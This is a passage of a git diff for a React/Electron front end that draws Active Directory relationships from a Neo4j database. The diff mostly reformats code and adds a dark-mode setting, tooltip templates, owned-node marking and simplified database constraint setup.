+                            className="fa fa-check"
+                            onClick={this.saveEdit.bind(this)}
+                        />
+                    </button>
+                    <button type="button">
+                        <span
+                            className="fa fa-close"
+                            onClick={this.cancelEdit.bind(this)}
+                        />
+                    </button>
+                </div>
+            );
+        }
+
+        return (
+            <tr className="nodeEditRow">
+                <td align="center">{deletecolumn}</td>
+                <td align="center">{editcolumn}</td>
+                <td align="center">{this.props.attributeName}</td>
+                <td align="center">{valcolumn}</td>
+            </tr>
+        );
+    }
+}
diff --git a/src/components/Float/QueryNodeSelect.jsx b/src/components/Float/QueryNodeSelect.jsx
index 3b8977f..23a52e4 100644
--- a/src/components/Float/QueryNodeSelect.jsx
+++ b/src/components/Float/QueryNodeSelect.jsx
@@ -1,20 +1,19 @@
-import React, { Component } from 'react';
-import { ListGroup, ListGroupItem, Panel } from 'react-bootstrap';
-import { If, Then, Else } from 'react-if';
-import QueryNodeSelectItem from './QueryNodeSelectItem';
-import QueryNodeSelectHeader from './QueryNodeSelectHeader';
+import React, { Component } from "react";
+import { ListGroup, Panel } from "react-bootstrap";
+import { If, Then, Else } from "react-if";
+import QueryNodeSelectItem from "./QueryNodeSelectItem";
 
 export default class QueryNodeSelect extends Component {
-    constructor(){
+    constructor() {
         super();
 
         this.state = {
-            data:[],
+            data: [],
             currentQueryTitle: ""
         };
 
-        emitter.on('prebuiltQueryStart', this.getEventInfo.bind(this));
-        emitter.on('prebuiltQueryStep', this.doQueryStep.bind(this));
+        emitter.on("prebuiltQueryStart", this.getEventInfo.bind(this));
+        emitter.on("prebuiltQueryStep", this.doQueryStep.bind(this));
     }
 
     componentDidMount() {
@@ -23,29 +22,31 @@ export default class QueryNodeSelect extends Component {
 
     getEventInfo() {
         var query = appStore.prebuiltQuery.shift();
-        if (query.final){
-            emitter.emit('query',
+        if (query.final) {
+            emitter.emit(
+                "query",
                 query.query,
                 query.props,
                 null,
                 null,
-                query.allowCollapse);
-        }else{
+                query.allowCollapse
+            );
+        } else {
             this.setState({
                 currentQueryTitle: query.title
             });
             $(this.refs.outer).fadeToggle(true);
             var session = driver.session();
-            session.run(query.query, query.props)
-                .then(function (results) {
-                    var y = $.map(results.records, function (x) {
-                        let a = x.keys.map(function (e, i) {
+            session.run(query.query, query.props).then(
+                results => {
+                    var y = $.map(results.records, x => {
+                        let a = x.keys.map((e, i) => {
                             let obj = {};
-                            obj[e.split('.')[1]] = x._fields[i];
+                            obj[e.split(".")[1]] = x._fields[i];
                             return obj;
                         });
                         let b = {};
-                        $.each(a, function (index, o) {
+                        $.each(a, (_, o) => {
                             Object.assign(b, o);
                         });
 
@@ -53,21 +54,30 @@ export default class QueryNodeSelect extends Component {
                     });
                     this.setState({ data: y });
                     session.close();
-                }.bind(this));
+                }
+            );
         }
     }
 
-    doQueryStep(querydata){
+    doQueryStep(querydata) {
         var query = appStore.prebuiltQuery.shift();
         if (query.final) {
-            let start = typeof query.startNode !== 'undefined' ? query.startNode.format(querydata) : "";
-            let end = typeof query.endNode !== 'undefined' ? query.endNode.format(querydata) : "";
-            emitter.emit('query',
+            let start =
+                typeof query.startNode !== "undefined"
+                    ? query.startNode.format(querydata)
+                    : "";
+            let end =
+                typeof query.endNode !== "undefined"
+                    ? query.endNode.format(querydata)
+                    : "";
+            emitter.emit(
+                "query",
                 query.query,
-                {"result":querydata},
+                { result: querydata },
                 start,
                 end,
-                query.allowCollapse);
+                query.allowCollapse
+            );
             appStore.prebuiltQuery = [];
             this._dismiss();
         } else {
@@ -75,44 +85,50 @@ export default class QueryNodeSelect extends Component {
                 currentQueryTitle: query.title
             });
             var session = driver.session();
-            session.run(query.query, {"result":querydata})
-                .then(function (results) {
-                    var y = $.map(results.records, function (x) {
-                        let a = x.keys.map(function(e, i){
+            session.run(query.query, { result: querydata }).then(
+                function(results) {
+                    var y = $.map(results.records, function(x) {
+                        let a = x.keys.map(function(e, i) {
                             let obj = {};
-                            obj[e.split('.')[1]] = x._fields[i];
+                            obj[e.split(".")[1]] = x._fields[i];
                             return obj;
                         });
                         let b = {};
-                        $.each(a, function(index, o){
+                        $.each(a, function(index, o) {
                             Object.assign(b, o);
                         });
-                        
+
                         return b;
                     });
-                    if (y.length === 0){
-                        emitter.emit('showAlert', "No data returned from query");
+                    if (y.length === 0) {
+                        emitter.emit(
+                            "showAlert",
+                            "No data returned from query"
+                        );
                         appStore.prebuiltQuery = [];
                         this._dismiss();
-                    }else{
+                    } else {
                         this.setState({ data: y });
                     }
                     session.close();
-                }.bind(this));
+                }.bind(this)
+            );
         }
     }
 
-    _dismiss(){
+    _dismiss() {
         $(this.refs.outer).fadeToggle(false);
     }
 
-    handleClick(event){
-        emitter.emit('query',
+    handleClick(event) {
+        emitter.emit(
+            "query",
             this.state.queryData.onFinish.formatAll(event.target.text),
-            {result:event.target.text},
+            { result: event.target.text },
             this.state.queryData.start.format(event.target.text),
             this.state.queryData.end.format(event.target.text),
-            this.state.queryData.allowCollapse);
+            this.state.queryData.allowCollapse
+        );
         $(this.refs.outer).fadeToggle(false);
     }
 
@@ -128,17 +144,22 @@ export default class QueryNodeSelect extends Component {
                         <If condition={this.state.data.length > 0}>
                             <Then>
                                 <ListGroup ref="list">
-                                    {
-                                        this.state.data.map(function(key){
-                                            var x = <QueryNodeSelectItem key={key.name} label={key.name} extraProps={key} />;
+                                    {this.state.data.map(
+                                        function(key) {
+                                            var x = (
+                                                <QueryNodeSelectItem
+                                                    key={key.name}
+                                                    label={key.name}
+                                                    extraProps={key}
+                                                />
+                                            );
                                             return x;
-                                        }.bind(this))
-                                    }
+                                        }.bind(this)
+                                    )}
                                 </ListGroup>
                             </Then>
-                            <Else>{() => 
-                                <img src="src/img/loading.gif" />
-                            }
+                            <Else>
+                                {() => <img src="src/img/loading.gif" />}
                             </Else>
                         </If>
                     </Panel.Body>
diff --git a/src/components/Float/QueryNodeSelectItem.jsx b/src/components/Float/QueryNodeSelectItem.jsx
index e26d421..6f85696 100644
--- a/src/components/Float/QueryNodeSelectItem.jsx
+++ b/src/components/Float/QueryNodeSelectItem.jsx
@@ -1,51 +1,54 @@
-import React, { Component } from 'react';
-import { ListGroupItem } from 'react-bootstrap'
+import React, { Component } from "react";
+import { ListGroupItem } from "react-bootstrap";
 
 export default class QueryNodeSelectItem extends Component {
     convertToDisplayProp() {
         var str = "";
-        $.each(Object.keys(this.props.extraProps), function(index, prop){
-            if (prop === "name"){
-                return;
-            }
-            
-            let obj = this.props.extraProps[prop];
-            var type = typeof obj;
-            let val = null;
-            if (type === 'undefined') {
-                val =  null;
-            } else if (obj.hasOwnProperty('low')) {
-                var t = obj.low;
-                if (t === 0) {
-                    val = "Never";
-                } else {
-                    val = new Date(obj.low * 1000).toUTCString();
+        $.each(
+            Object.keys(this.props.extraProps),
+            function(_, prop) {
+                if (prop === "name") {
+                    return;
                 }
-            } else if (type === 'boolean') {
-                val = obj.toString().toTitleCase();
-            } else if (obj === "") {
-                val = null;
-            } else {
-                val = obj;
-            }
-            if (val !== null){
-                str += prop + ": " + val + "\n";
-            }
-            
-        }.bind(this));
+
+                let obj = this.props.extraProps[prop];
+                var type = typeof obj;
+                let val = null;
+                if (type === "undefined") {
+                    val = null;
+                } else if (type === "number") {
+                    if (obj === 0) {
+                        val = "Never";
+                    } else {
+                        val = new Date(obj * 1000).toUTCString();
+                    }
+                } else if (type === "boolean") {
+                    val = obj.toString().toTitleCase();
+                } else if (obj === "") {
+                    val = null;
+                } else {
+                    val = obj;
+                }
+                if (val !== null) {
+                    str += prop + ": " + val + "\n";
+                }
+            }.bind(this)
+        );
         return str;
     }
 
     render() {
-        let c = function () {
+        let c = function() {
             emitter.emit("prebuiltQueryStep", this.props.label);
         }.bind(this);
         let str = this.convertToDisplayProp();
-        if (this.props.extraProps.hasOwnProperty("PwdLastSet")){
-            var pwd = new Date(this.props.extraProps.PwdLastSet.low * 1000).toUTCString();
-        }
         return (
-            <ListGroupItem className="queryNodeItemPreWrap" href="#" onClick={c} header={this.props.label}>
+            <ListGroupItem
+                className="queryNodeItemPreWrap"
+                href="#"
+                onClick={c}
+                header={this.props.label}
+            >
                 {str}
             </ListGroupItem>
         );
diff --git a/src/components/Float/Settings.jsx b/src/components/Float/Settings.jsx
index 16cdff5..d54b274 100644
--- a/src/components/Float/Settings.jsx
+++ b/src/components/Float/Settings.jsx
@@ -1,105 +1,122 @@
-import React, { Component } from 'react';
-import {FormGroup,ControlLabel,FormControl} from 'react-bootstrap';
+import React, { Component } from "react";
+import { FormGroup, ControlLabel, FormControl } from "react-bootstrap";
 
 export default class Settings extends Component {
-    constructor(){
+    constructor() {
         super();
 
         this.state = {
             nodeLabelVal: appStore.performance.nodeLabels,
-            edgeLabelVal: appStore.performance.edgeLabels
+            edgeLabelVal: appStore.performance.edgeLabels,
         };
     }
 
     componentDidMount() {
-        emitter.on('openSettings', function(){
-            this.openSettings()
-        }.bind(this));
+        emitter.on(
+            "openSettings",
+            function() {
+                this.openSettings();
+            }.bind(this)
+        );
 
         $(this.refs.edge).simpleSlider({
-            range: [0,20],
+            range: [0, 20],
             step: 1,
-            theme: 'volume slideinline'
+            theme: "volume slideinline"
         });
 
         $(this.refs.sibling).simpleSlider({
-            range: [0,20],
+            range: [0, 20],
             step: 1,
-            theme: 'volume slideinline'
+            theme: "volume slideinline"
         });
 
-        $(this.refs.edge).bind('slider:changed', this.edgeChange.bind(this))
-        $(this.refs.sibling).bind('slider:changed', this.siblingChange.bind(this))
+        $(this.refs.edge).bind("slider:changed", this.edgeChange.bind(this));
+        $(this.refs.sibling).bind(
+            "slider:changed",
+            this.siblingChange.bind(this)
+        );
 
-        $(this.refs.edge).simpleSlider('setValue', appStore.performance.edge)
-        $(this.refs.sibling).simpleSlider('setValue', appStore.performance.sibling)
+        $(this.refs.edge).simpleSlider("setValue", appStore.performance.edge);
+        $(this.refs.sibling).simpleSlider(
+            "setValue",
+            appStore.performance.sibling
+        );
 
-        $(this.refs.check).prop('checked', appStore.performance.lowGraphics)
-        $(this.refs.debug).prop('checked', appStore.performance.debug);
+        $(this.refs.check).prop("checked", appStore.performance.lowGraphics);
+        $(this.refs.debug).prop("checked", appStore.performance.debug);
+        $(this.refs.dark).prop("checked", appStore.performance.darkMode);
 
         $(this.refs.outer).fadeToggle(0);
         $(this.refs.outer).draggable();
     }
 
-    edgeChange(event, data){
+    edgeChange(event, data) {
         appStore.performance.edge = data.value;
-        $(this.refs.edgeinput).val(data.value)
-        conf.set('performance', appStore.performance)
+        $(this.refs.edgeinput).val(data.value);
+        conf.set("performance", appStore.performance);
     }
 
-    siblingChange(event, data){
+    siblingChange(event, data) {
         appStore.performance.sibling = data.value;
-        $(this.refs.siblinginput).val(data.value)
-        conf.set('performance', appStore.performance)
+        $(this.refs.siblinginput).val(data.value);
+        conf.set("performance", appStore.performance);
     }
 
-    onGfxChange(event){
-        $(this.refs.check).prop('checked', event.target.checked);
+    onGfxChange(event) {
+        $(this.refs.check).prop("checked", event.target.checked);
         appStore.performance.lowGraphics = event.target.checked;
-        conf.set('performance', appStore.performance);
-        emitter.emit('changeGraphicsMode');
+        conf.set("performance", appStore.performance);
+        emitter.emit("changeGraphicsMode");
     }
 
-    onDebugChange(event){
-        $(this.refs.debug).prop('checked', event.target.checked)
+    onDebugChange(event) {
+        $(this.refs.debug).prop("checked", event.target.checked);
         appStore.performance.debug = event.target.checked;
-        conf.set('performance', appStore.performance)
+        conf.set("performance", appStore.performance);
     }
 
-    closeSettings(){
-        $(this.refs.outer).fadeToggle(false)
+    toggleDarkMode(event){
+        $(this.refs.dark).prop("checked", event.target.checked);
+        appStore.performance.darkMode = event.target.checked;
+        conf.set("performance", appStore.performance);
+        emitter.emit("toggleDarkMode", event.target.checked);
     }
 
-    openSettings(){
-        $(this.refs.outer).fadeToggle(false)
+    closeSettings() {
+        $(this.refs.outer).fadeToggle(false);
     }
 
-    updateSibling(event){
-        $(this.refs.sibling).simpleSlider('setValue', event.target.value)
+    openSettings() {
+        $(this.refs.outer).fadeToggle(false);
     }
 
-    updateEdge(event){
-        $(this.refs.edge).simpleSlider('setValue', event.target.value)
+    updateSibling(event) {
+        $(this.refs.sibling).simpleSlider("setValue", event.target.value);
     }
 
-    onNodeLabelChange(event){
+    updateEdge(event) {
+        $(this.refs.edge).simpleSlider("setValue", event.target.value);
+    }
+
+    onNodeLabelChange(event) {
         let newVal = parseInt(event.target.value);
         this.setState({
             nodeLabelVal: newVal
         });
-        appStore.performance.nodeLabels=newVal;
-        conf.set('performance', appStore.performance);
-        emitter.emit('changeNodeLabels');
+        appStore.performance.nodeLabels = newVal;
+        conf.set("performance", appStore.performance);
+        emitter.emit("changeNodeLabels");
     }
 
-    onEdgeLabelChange(event){
+    onEdgeLabelChange(event) {
         let newVal = parseInt(event.target.value);
         this.setState({
             edgeLabelVal: newVal
         });
         appStore.performance.edgeLabels = newVal;
-        conf.set('performance', appStore.performance);
-        emitter.emit('changeEdgeLabels');
+        conf.set("performance", appStore.performance);
+        emitter.emit("changeEdgeLabels");
     }
 
     render() {
@@ -107,37 +124,57 @@ export default class Settings extends Component {
             <div ref="outer" className="settingsDiv panel panel-default">
                 <div className="panel-heading">
                     Settings
-                    <button type="button" className="close" onClick={this.closeSettings.bind(this)} aria-label="Close">
-                    <span aria-hidden="true">&times;</span>
+                    <button
+                        type="button"
+                        className="close"
+                        onClick={this.closeSettings.bind(this)}
+                        aria-label="Close"
+                    >
+                        <span aria-hidden="true">&times;</span>
                     </button>
                 </div>
 
                 <div className="panel-body sliderfix">
-                    <div>
-                        <strong>Sibling Collapse Threshold</strong> 
-                        <i data-toggle="tooltip" 
-                            data-placement="right" 
-                            title="Merge nodes that have the same parent. 0 to Disable, Default 10" 
-                            className="glyphicon glyphicon-question-sign" 
+                    {/* <div>
+                        <strong>Sibling Collapse Threshold</strong>
+                        <i
+                            data-toggle="tooltip"
+                            data-placement="right"
+                            title="Merge nodes that have the same parent. 0 to Disable, Default 10"
+                            className="glyphicon glyphicon-question-sign"
                         />
-                        <br/>
+                        <br />
                         <input type="text" ref="sibling" />
                         <span>
-                            <input onChange={this.updateSibling.bind(this)} type="number" min="0" max="20" className="sliderinput" ref="siblinginput" />
+                            <input
+                                onChange={this.updateSibling.bind(this)}
+                                type="number"
+                                min="0"
+                                max="20"
+                                className="sliderinput"
+                                ref="siblinginput"
+                            />
                         </span>
-                    </div>
+                    </div> */}
 
                     <div>
                         <strong>Node Collapse Threshold</strong>
-                        <i data-toggle="tooltip" 
-                            data-placement="right" 
-                            title="Collapse nodes at the end of paths that only have one relationship. 0 to Disable, Default 5" 
-                            className="glyphicon glyphicon-question-sign" 
+                        <i
+                            data-toggle="tooltip"
+                            data-placement="right"
+                            title="Collapse nodes at the end of paths that only have one relationship. 0 to Disable, Default 5"
+                            className="glyphicon glyphicon-question-sign"
                         />
                         <br />
                         <input type="text" ref="edge" />
                         <span>
-                            <input type="number" min="0" max="20" className="sliderinput" ref="edgeinput" />
+                            <input
+                                type="number"
+                                min="0"
+                                max="20"
+                                className="sliderinput"
+                                ref="edgeinput"
+                            />
                         </span>
                     </div>
                     <br />
@@ -145,12 +182,17 @@ export default class Settings extends Component {
                         <form>
                             <FormGroup controlId="formControlEdge">
                                 <ControlLabel>Edge Label Display</ControlLabel>
-                                <i data-toggle="tooltip"
+                                <i
+                                    data-toggle="tooltip"
                                     data-placement="right"
                                     title="When to display edge labels"
                                     className="glyphicon glyphicon-question-sign"
                                 />
-                                <FormControl onChange={this.onEdgeLabelChange.bind(this)} componentClass="select" value={this.state.edgeLabelVal}>
+                                <FormControl
+                                    onChange={this.onEdgeLabelChange.bind(this)}
+                                    componentClass="select"
+                                    value={this.state.edgeLabelVal}
+                                >
                                     <option value="0">Threshold Display</option>
                                     <option value="1">Always Display</option>
                                     <option value="2">Never Display</option>
@@ -158,12 +200,18 @@ export default class Settings extends Component {
                             </FormGroup>
                             <FormGroup controlId="formControlNode">
                                 <ControlLabel>Node Label Display</ControlLabel>
-                                <i data-toggle="tooltip"
+                                <i
+                                    data-toggle="tooltip"
                                     data-placement="right"
                                     title="When to display node labels"
                                     className="glyphicon glyphicon-question-sign"
                                 />
-                                <FormControl ref="nodeLabelControl" onChange={this.onNodeLabelChange.bind(this)} componentClass="select" value={this.state.nodeLabelVal}>
+                                <FormControl
+                                    ref="nodeLabelControl"
+                                    onChange={this.onNodeLabelChange.bind(this)}
+                                    componentClass="select"
+                                    value={this.state.nodeLabelVal}
+                                >
                                     <option value="0">Threshold Display</option>
                                     <option value="1">Always Display</option>
                                     <option value="2">Never Display</option>
@@ -173,24 +221,53 @@ export default class Settings extends Component {
                     </div>
                     <div className="checkbox-inline">
                         <label>
-                            <input ref="debug" type="checkbox" onChange={this.onDebugChange.bind(this)}/> Query Debug Mode
+                            <input
+                                ref="debug"
+                                type="checkbox"
+                                onChange={this.onDebugChange.bind(this)}
+                            />{" "}
+                            Query Debug Mode
                         </label>
                     </div>
-                    <i data-toggle="tooltip" 
-                        data-placement="right" 
-                        title="Dump queries run into the Raw Query Box" 
+                    <i
+                        data-toggle="tooltip"
+                        data-placement="right"
+                        title="Dump queries run into the Raw Query Box"
                         className="glyphicon glyphicon-question-sign"
                     />
                     <br />
                     <div className="checkbox-inline">
                         <label>
-                            <input ref="check" type="checkbox" onChange={this.onGfxChange.bind(this)}/> Low Detail Mode
+                            <input
+                                ref="check"
+                                type="checkbox"
+                                onChange={this.onGfxChange.bind(this)}
+                            />{" "}
+                            Low Detail Mode
                         </label>
                     </div>
-                    <i data-toggle="tooltip" 
-                        data-placement="right" 
-                        title="Lower detail of graph to improve performance" 
-                        className="glyphicon glyphicon-question-sign" 
+                    <i
+                        data-toggle="tooltip"
+                        data-placement="right"
+                        title="Lower detail of graph to improve performance"
+                        className="glyphicon glyphicon-question-sign"
+                    />
+                    <br />
+                    <div className="checkbox-inline">
+                        <label>
+                            <input
+                                ref="dark"
+                                type="checkbox"
+                                onChange={this.toggleDarkMode.bind(this)}
+                            />{" "}
+                            Dark Mode
+                        </label>
+                    </div>
+                    <i
+                        data-toggle="tooltip"
+                        data-placement="right"
+                        title="Toggle Dark Mode for the Interface"
+                        className="glyphicon glyphicon-question-sign"
                     />
                 </div>
             </div>
diff --git a/src/components/GlyphiconSpan.jsx b/src/components/GlyphiconSpan.jsx
index dc5563b..f138e12 100644
--- a/src/components/GlyphiconSpan.jsx
+++ b/src/components/GlyphiconSpan.jsx
@@ -1,34 +1,45 @@
-import React, { Component } from 'react';
-import { If, Then, Else } from 'react-if';
-import PropTypes from 'prop-types'
+import React, { Component } from "react";
+import { If, Then, Else } from "react-if";
+import PropTypes from "prop-types";
 
-export default class GlyphiconSpan extends Component {	
-	constructor(props){
-		super(props);
-	}
+export default class GlyphiconSpan extends Component {
+    constructor(props) {
+        super(props);
+    }
 
-	render() {
-		return (
-			<If condition={ this.props.tooltip }>
-				<Then> 
-					<span onClick={this.props.click} className={this.props.classes} data-toggle="tooltip" data-placement={this.props.tooltipDir} title={this.props.tooltipTitle}> 
-						{this.props.children}
-					</span>
-				</Then>
-				<Else>{() =>
-					<span onClick={this.props.click} className={this.props.classes}>
-						{this.props.children}
-					</span>
-				}</Else>
-			</If>
-		);
-	}
+    render() {
+        return (
+            <If condition={this.props.tooltip}>
+                <Then>
+                    <span
+                        onClick={this.props.click}
+                        className={this.props.classes}
+                        data-toggle="tooltip"
+                        data-placement={this.props.tooltipDir}
+                        title={this.props.tooltipTitle}
+                    >
+                        {this.props.children}
+                    </span>
+                </Then>
+                <Else>
+                    {() => (
+                        <span
+                            onClick={this.props.click}
+                            className={this.props.classes}
+                        >
+                            {this.props.children}
+                        </span>
+                    )}
+                </Else>
+            </If>
+        );
+    }
 }
 
 GlyphiconSpan.propTypes = {
-	classes : PropTypes.string,
-	tooltipDir : PropTypes.string,
-	tooltipTitle : PropTypes.string,
-	tooltip : PropTypes.bool.isRequired,
-	click: PropTypes.func
-}
+    classes: PropTypes.string,
+    tooltipDir: PropTypes.string,
+    tooltipTitle: PropTypes.string,
+    tooltip: PropTypes.bool.isRequired,
+    click: PropTypes.func
+};
diff --git a/src/components/Graph.jsx b/src/components/Graph.jsx
index 1405d92..5ec7a85 100644
--- a/src/components/Graph.jsx
+++ b/src/components/Graph.jsx
@@ -1,227 +1,429 @@
-import React, { Component } from 'react';
-import ReactDOM from 'react-dom';
-import  { findGraphPath } from 'utils';
-var fs = require('fs');
-var child_process = require('child_process');
+import React, { Component } from "react";
+import { findGraphPath, generateUniqueId } from "utils";
+import { writeFile, readFile } from "fs";
+import { fork } from "child_process";
 var child;
-var path = require('path');
-const { dialog } = require('electron').remote;
+import { join } from "path";
+import { remote } from "electron";
+const { dialog } = remote;
+const uuidv4 = require('uuid/v4');
+var observer = require('fontfaceobserver');
 
 export default class GraphContainer extends Component {
-    constructor(props){
+    constructor(props) {
         super(props);
 
-        child = child_process.fork(path.join(__dirname,'src','js','worker.js'), {silent:true});
+        child = fork(
+            join(__dirname, "src", "js", "worker.js"),
+            { silent: true }
+        );
 
         this.state = {
-            sigmaInstance : null,
+            sigmaInstance: null,
             design: null,
             dragged: false,
             firstDraw: true,
-            template: null,
-            session: driver.session()
+            nodeTemplate: null,
+            edgeTemplate: null,
+            session: driver.session(),
+            darkMode: false
         };
 
         $.ajax({
-            url: 'src/components/tooltip.html',
-            type: 'GET',
-            success: function(response){
-                this.setState({template: response}); 
+            url: "src/components/nodeTooltip.html",
+            type: "GET",
+            success: function(response) {
+                this.setState({ nodeTemplate: response });
             }.bind(this)
         });
 
-        child.stdout.on('data', (data) => {
-          console.log(`stdout: ${data}`);
+        $.ajax({
+            url: "src/components/edgeTooltip.html",
+            type: "GET",
+            success: function(response) {
+                this.setState({ edgeTemplate: response });
+            }.bind(this)
         });
 
-        child.stderr.on('data', (data) => {
+        $.ajax({
+            url: "src/components/stageTooltip.html",
+            type: "GET",
+            success: function(response) {
+                this.setState({ stageTemplate: response });
+            }.bind(this)
+        });
+
+        child.stdout.on("data", data => {
+            console.log(`stdout: ${data}`);
+        });
+
+        child.stderr.on("data", data => {
             console.log(`error: ${data}`);
         });
 
-        child.on('message', function(m) {
-          this.loadFromChildProcess(m);
-        }.bind(this));
+        child.on(
+            "message",
+            function(m) {
+                this.loadFromChildProcess(m);
+            }.bind(this)
+        );
 
-        var s1 = driver.session();
-        var s2 = driver.session();
-        var s3 = driver.session();
-        var s4 = driver.session();
-        var s5 = driver.session();
-        var s6 = driver.session();
+        this.setConstraints();
 
-        s1.run("CREATE CONSTRAINT ON (c:User) ASSERT c.name IS UNIQUE")
-            .then(function(){
-                s1.close();
-                 s2.run("CREATE CONSTRAINT ON (c:Computer) ASSERT c.name IS UNIQUE")
-                    .then(function(){
-                        s2.close();
-                        s3.run("CREATE CONSTRAINT ON (c:Group) ASSERT c.name IS UNIQUE")
-                            .then(function(){
-                                s3.close();
-                                s4.run("CREATE CONSTRAINT ON (c:Domain) ASSERT c.name IS UNIQUE")
-                                    .then(function(){
-                                        s4.close();
-                                        s5.run("CREATE CONSTRAINT on (c:OU) ASSERT c.guid IS UNIQUE")
-                                            .then(function() {
-                                                s5.close();
-                                                s6.run("CREATE CONSTRAINT on (c:GPO) ASSERT c.name is UNIQUE")
-                                                    .then(function(){
-                                                        s6.close();
-                                                    })
-                                                    .catch(function(){
-                                                        s6.close();
-                                                    });
-                                            })
-                                            .catch(function(){
-                                                s5.close();  
-                                            });
-                                    })
-                                    .catch(function(){
-                                        s4.close();
-                                    });
-                            })
-                            .catch(function(){
-                                s3.close();
-                            });
-                    })
-                    .catch(function(){
-                        s2.close();
-                    });
-            })
-            .catch(function(){
-                s1.close();
-            });
-       
-        emitter.on('doLogout', function(){
-            this.state.sigmaInstance.graph.clear();
-            this.state.sigmaInstance.refresh();
-            sigma.layouts.killForceLink();
-            this.setState({sigmaInstance: null});
-            child.kill();
-        }.bind(this));
+        emitter.on(
+            "doLogout",
+            function() {
+                this.state.sigmaInstance.graph.clear();
+                this.state.sigmaInstance.refresh();
+                sigma.layouts.killForceLink();
+                this.setState({ sigmaInstance: null });
+                child.kill();
+            }.bind(this)
+        );
     }
 
     componentWillMount() {
-        emitter.on('searchQuery', this.doSearchQuery.bind(this));
-        emitter.on('pathQuery', this.doPathQuery.bind(this));
-        emitter.on('graphBack', this.goBack.bind(this));
-        emitter.on('query', this.doGenericQuery.bind(this));
-        emitter.on('spotlightClick', this.spotlightClickHandler.bind(this));
-        emitter.on('graphRefresh', this.relayout.bind(this));
-        emitter.on('export', this.export.bind(this));
-        emitter.on('import', this.import.bind(this));
-        emitter.on('clearDB', this.clearGraph.bind(this));
-        emitter.on('changeGraphicsMode', this.setGraphicsMode.bind(this));
-        emitter.on('ungroupNode', this.ungroupNode.bind(this));
-        emitter.on('unfoldNode', this.unfoldEdgeNode.bind(this));
-        emitter.on('collapseNode', this.foldEdgeNode.bind(this));
-        emitter.on('resetZoom', this.resetZoom.bind(this));
-        emitter.on('zoomIn', this.zoomIn.bind(this));
-        emitter.on('zoomOut', this.zoomOut.bind(this));
-        emitter.on('changeNodeLabels', this.changeNodeLabelMode.bind(this));
-        emitter.on('changeEdgeLabels', this.changeEdgeLabelMode.bind(this));
+        emitter.on("searchQuery", this.doSearchQuery.bind(this));
+        emitter.on("graphBack", this.goBack.bind(this));
+        emitter.on("query", this.doGenericQuery.bind(this));
+        emitter.on("spotlightClick", this.spotlightClickHandler.bind(this));
+        emitter.on("graphRefresh", this.relayout.bind(this));
+        emitter.on("graphReload", this.reload.bind(this));
+        emitter.on("export", this.export.bind(this));
+        emitter.on("import", this.import.bind(this));
+        emitter.on("clearDB", this.clearGraph.bind(this));
+        emitter.on("changeGraphicsMode", this.setGraphicsMode.bind(this));
+        emitter.on("ungroupNode", this.ungroupNode.bind(this));
+        emitter.on("unfoldNode", this.unfoldEdgeNode.bind(this));
+        emitter.on("collapseNode", this.foldEdgeNode.bind(this));
+        emitter.on("resetZoom", this.resetZoom.bind(this));
+        emitter.on("zoomIn", this.zoomIn.bind(this));
+        emitter.on("zoomOut", this.zoomOut.bind(this));
+        emitter.on("changeNodeLabels", this.changeNodeLabelMode.bind(this));
+        emitter.on("changeEdgeLabels", this.changeEdgeLabelMode.bind(this));
+        emitter.on("deleteEdgeConfirm", this.deleteEdge.bind(this));
+        emitter.on("deleteNodeConfirm", this.deleteNode.bind(this));
+        emitter.on("changeLayout", this.changeLayout.bind(this));
+        emitter.on("addNodeFinal", this.addNode.bind(this));
+        emitter.on("setOwned", this.setOwned.bind(this));
+        emitter.on("setHighVal", this.setHighVal.bind(this))
+        emitter.on("getHelp", this.getHelpEdge.bind(this))
+        emitter.on("toggleDarkMode", this.toggleDarkMode.bind(this));
     }
 
     componentDidMount() {
+        var font = new observer("Font Awesome 5 Free");
+        font.load().then(x => {
+            this.inita();
+        });
+    }
+
+    toggleDarkMode(enabled){
+        this.setState({darkMode: enabled});
+
+        if (enabled){
+            this.state.sigmaInstance.settings("defaultEdgeColor", "white");
+            this.state.sigmaInstance.settings("defaultLabelColor", "white");
+            this.state.sigmaInstance.settings("defaultEdgeLabelColor", "white");
+            this.state.sigmaInstance.settings("defaultEdgeHoverLabelBGColor", "black");
+            //this.state.sigmaInstance.settings("defaultNodeColor", "white");
+        }else{
+            this.state.sigmaInstance.settings("defaultEdgeColor", "#356");
+            this.state.sigmaInstance.settings("defaultLabelColor", "black");
+            this.state.sigmaInstance.settings("defaultEdgeLabelColor", "black");
+            this.state.sigmaInstance.settings("defaultEdgeHoverLabelBGColor", "white");
+            //this.state.sigmaInstance.settings("defaultNodeColor", "black");
+        }
+
+        this.state.sigmaInstance.refresh({skipIndexation: true});
+    }
+
+    async setConstraints() {
+        let s = driver.session();
+        await s.run("CREATE CONSTRAINT ON (c:User) ASSERT c.name IS UNIQUE");
+        await s.run("CREATE CONSTRAINT ON (c:Group) ASSERT c.name IS UNIQUE");
+        await s.run("CREATE CONSTRAINT ON (c:Computer) ASSERT c.name IS UNIQUE");
+        await s.run("CREATE CONSTRAINT ON (c:GPO) ASSERT c.name IS UNIQUE");
+        await s.run("CREATE CONSTRAINT ON (c:Domain) ASSERT c.name IS UNIQUE");
+        await s.run("CREATE CONSTRAINT ON (c:OU) ASSERT c.guid IS UNIQUE");
+
+        s.close();
+    }
+
+    inita(){
         this.initializeSigma();
-        
+        this.toggleDarkMode(appStore.performance.darkMode);
         this.doQueryNative({
-            statement: 'MATCH (n:Group) WHERE n.name =~ "(?i).*DOMAIN ADMINS.*" WITH n MATCH (n)<-[r:MemberOf*1..]-(m) RETURN n,r,m',
-            //statement: 'MATCH (n)-[r]->(m) RETURN n,r,m',
+            statement:'MATCH (n:Group) WHERE n.objectsid =~ "(?i)S-1-5.*-512" WITH n MATCH (n)<-[r:MemberOf*1..]-(m) RETURN n,r,m',
+            //statement: 'MATCH (n)-[r:AdminTo]->(m) RETURN n,r,m LIMIT 5',
             //statement: 'MATCH p=(n:Domain)-[r]-(m:Domain) RETURN p',
             allowCollapse: false,
             props: {}
         });
     }
 
-    relayout(){
-        sigma.layouts.stopForceLink();
-        if (appStore.dagre){
-            sigma.layouts.dagre.start(this.state.sigmaInstance);
+    getHelpEdge(id){
+        appStore.currentTooltip.close();
+        let instance = this.state.sigmaInstance.graph;
+        let edge = instance.edges(id);
+        let source = instance.nodes(edge.source);
+        let target = instance.nodes(edge.target);
+        emitter.emit("displayHelp", edge, source, target);
+    }
+
+    setOwned(id, status){
+        if (appStore.currentTooltip !== null){
+            appStore.currentTooltip.close();
+        }
+        let instance = this.state.sigmaInstance;
+        let node = instance.graph.nodes(id);
+        if (status){
+            node.owned = true;
+            node.notowned = false;
+            node.glyphs.push({
+                position: "top-left",
+                font: '"Font Awesome 5 Free"',
